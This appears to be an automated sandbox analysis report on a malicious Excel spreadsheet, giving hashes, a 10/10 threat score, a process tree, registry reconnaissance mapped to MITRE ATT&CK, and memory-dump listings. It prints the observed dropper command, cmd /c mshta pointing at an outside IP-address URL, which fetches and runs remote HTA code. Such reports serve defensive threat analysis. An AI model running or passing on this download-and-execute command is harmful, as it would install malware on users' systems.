76cb28484132dc02ed1731f85cc45210303742a011e43fa47fdc66165badcd6e

General

Target

76cb28484132dc02ed1731f85cc45210303742a011e43fa47fdc66165badcd6e.xls
Size

76KB
MD5

8cc7297dda5f22780b22d5fa643b0da3
SHA1

a3aa519607c9bddbdde3ed525d880172df11f43c
SHA256

76cb28484132dc02ed1731f85cc45210303742a011e43fa47fdc66165badcd6e
SHA512

eb8c8cddcddea9e1f2cb70863ebfff2a23676a9bdc08440420cf1380dbbdb85625cac0e8fafd2e8f18f83e3c0d4867faf0925222e28583f47f83c887a9fb6361
SSDEEP

1536:1I+Hymsbck3hbdlylKsgqopeJBWhZFGkE+cMLxAAISQ5gQ72IotO6nitSU6U+x:1I+HymsYk3hbdlylKsgqopeJBWhZFGkz

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/zzx/ccv/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3032	4152	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	4908	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4152	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4152	EXCEL.EXE
4152	EXCEL.EXE
4152	EXCEL.EXE
4152	EXCEL.EXE
4152	EXCEL.EXE
4152	EXCEL.EXE
4152	EXCEL.EXE
4152	EXCEL.EXE
4152	EXCEL.EXE
4152	EXCEL.EXE
4152	EXCEL.EXE
4152	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4152 wrote to memory of 3032	4152	EXCEL.EXE	86
PID 4152 wrote to memory of 3032	4152	EXCEL.EXE	86
PID 3032 wrote to memory of 4908	3032	cmd.exe	88
PID 3032 wrote to memory of 4908	3032	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\76cb28484132dc02ed1731f85cc45210303742a011e43fa47fdc66165badcd6e.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4152
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zzx/ccv/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zzx/ccv/fe.html
    3⤵
    - Blocklisted process makes network request
    PID:4908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
f0467a5ebf495e5af70043648c6ab5af

SHA1
44a19e7e8203cf3281a6471c347b09e62a52f1dc

SHA256
89cd6f2fa742ca6e1c5cc127375810597b5462f911cdf4229df8322562d00227

SHA512
6a32413608ade100195a81e9fa2289f44b55358164baf924ea3d73425791de8d4f895cd24adf2b22fadf09c03c3415b0acbf2da3be096470bdfdf918e07310bd

Download Submit
memory/4152-16-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-35-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-4-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-3-0x00007FFF38010000-0x00007FFF38020000-memory.dmp

Filesize
64KB

Download
memory/4152-7-0x00007FFF38010000-0x00007FFF38020000-memory.dmp

Filesize
64KB

Download
memory/4152-10-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-11-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-12-0x00007FFF35920000-0x00007FFF35930000-memory.dmp

Filesize
64KB

Download
memory/4152-9-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-8-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-6-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-17-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-2-0x00007FFF38010000-0x00007FFF38020000-memory.dmp

Filesize
64KB

Download
memory/4152-5-0x00007FFF38010000-0x00007FFF38020000-memory.dmp

Filesize
64KB

Download
memory/4152-13-0x00007FFF35920000-0x00007FFF35930000-memory.dmp

Filesize
64KB

Download
memory/4152-18-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-15-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-14-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-21-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-22-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-20-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-19-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-33-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-34-0x00007FFF7802D000-0x00007FFF7802E000-memory.dmp

Filesize
4KB

Download
memory/4152-0-0x00007FFF38010000-0x00007FFF38020000-memory.dmp

Filesize
64KB

Download
memory/4152-39-0x00007FFF77F90000-0x00007FFF78185000-memory.dmp

Filesize
2.0MB

Download
memory/4152-1-0x00007FFF7802D000-0x00007FFF7802E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads